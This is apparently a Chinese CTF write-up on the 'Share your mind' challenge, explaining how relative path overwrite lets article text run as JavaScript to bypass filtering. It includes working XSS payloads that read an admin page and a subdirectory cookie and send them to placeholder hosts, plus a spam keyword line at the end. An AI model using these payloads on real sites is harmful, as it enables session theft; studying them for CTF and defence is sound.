<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Share your mind

    這題必須要寫一下自己的踩坑經歷,首先進去瀏覽一下頁面功能,有個提交bug頁面的地方,還有個可以新建文章的地方

    最后就是瀏覽文章(但是只能瀏覽自己發的文章),首先想到的就是xss+csrf,新建一個文章引用一段JS然后發給bot,然后ajax請求admin的文章發回來。可是按照這個思路我們發現在新建文章頁面我們的<>被過濾了,所以我們不能直接構造一個js。猜想能不能在report頁面里進行xss,但是發現存在過濾,只能像自己網站的地址發起請求,但是”居然”可以繞過!!!!!!,payload:

    http://39.107.33.96:20000/index.php/report/<script src="xxxxxx.com"></script>

    于是無盡的踩坑之旅開始了,首先是bot返回結果沒有cookie,一開始也沒在意以為設置了httponly,(后來大致明白bot過程了,先check url-未讀,然后add_cookie-已讀,這里直接用<script>標簽其實是在add_cookie之前就返回了所以不帶cookie)讓他AJAX請求訪問admin的文章,代碼如下

    var a = new XMLHttpRequest();
    a.open('GET', 'index.php/view/article/1', false);
    a.send(null);
    b = a.responseText;
    (new Image()).src = 'http://xxxxx/?flag=' + escape(b);

    結果bot返回結果是未登錄,然后我就很懵逼,后來給了hint1:phantomjs/2.1.1結果這提示給了以后我就以為是日bot,各種谷歌找2.1.1的漏洞,一直到下午出了hint2:漏洞點不在report…推翻了一個下午的努力成果。一直到晚上我才想起來index頁面有一個../static/js/bootstrap.min.js的相對路徑引用

    想起來寒假時候看的rpo,關于rpo的原理這里不想贅述了,給個鏈接

    https://open.appscan.io/article-462.html

    這里文章查看頁面沒有引用DOCTYPE html,所以存在rpo漏洞,新建一個文章,文章title為空(title不為空的時候會添加一個 <h1> 標簽導致瀏覽器解析js的時候報錯
    內容輸入js代碼比如alert(1)

    內容輸入js代碼比如alert(1)


    然后訪問這

    http://39.107.33.96:20000/index.php/view/article/635/..%2f..%2f..%2f..%2findex.php

    把635替換成你的文章代碼,這里對于服務器來說訪問的是

    http://39.107.33.96:20000/index.php

    但是對于瀏覽器來說他訪問的就是

    http://39.107.33.96:20000/index.php/view/article/635/..%2f..%2f..%2f..%2findex.php

    然后這個時候瀏覽器會發起js請求去請求原本index.php會加載的../static/js/bootstrap.min.js就是向

    http://39.107.33.96:20000/index.php/view/article/635/..%2f..%2f..%2f..%2findex.php/../static/js/bootstrap.min.js

    相當于

    http://39.107.33.96:20000/index.php/view/article/635/static/bootstrap.min.js

    這里訪問的結果和訪問

    http://39.107.33.96:20000/index.php/view/article/635/

    也就是你的文章的內容是一樣的(不明白的可以自己本地測試),不同的是瀏覽器是以js引擎去解析你的文章的,也就是會把你的文章當成一段js去執行。所以這里就可以繞過<>的過濾執行xss了。

    所以我們新建一個文章內容為

    var a = new XMLHttpRequest();
    a.open('GET', 'yourvpsip', false);
    a.send(null);

    然后這里發現居然沒有發起請求,查看源碼發現是過濾了”和’,然后我就自作聰明的用反引號,然后我就陷入了無盡的玄學道路,我發現本地瀏覽器,vsp就可以收到請求

    但是提交給bot就收不到請求,然后我就一直在這里卡了超級長的時間,期間還問了出題人,bot等問題…直到晚上用String.fromCharCode才解決了這個玄學問題(這個點真心卡了我好久),后面就比較簡單了收到請求后發現cookie有提示

    聯想到國賽的一道讀取子目錄cookie的題目

    https://www.lorexxar.cn/2017/07/11/guosai2017/

    腳本拿來改了改就可以get子目錄cookie了

    var iframe = document.createElement("iframe");
    iframe.src = "/QWB_f14g/QWB";
    iframe.id = "frame";
    document.body.appendChild(iframe);
    iframe.onload = function (){
          var c = document.getElementById('frame').contentWindow.document.cookie;
        var n0t = document.createElement("link");
        n0t.setAttribute("rel", "prefetch");
        n0t.setAttribute("href", "http://xxx/?" + c);
        document.head.appendChild(n0t);
    }

    然后把所有引號之間的內容用String.fromcode()編碼一下

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类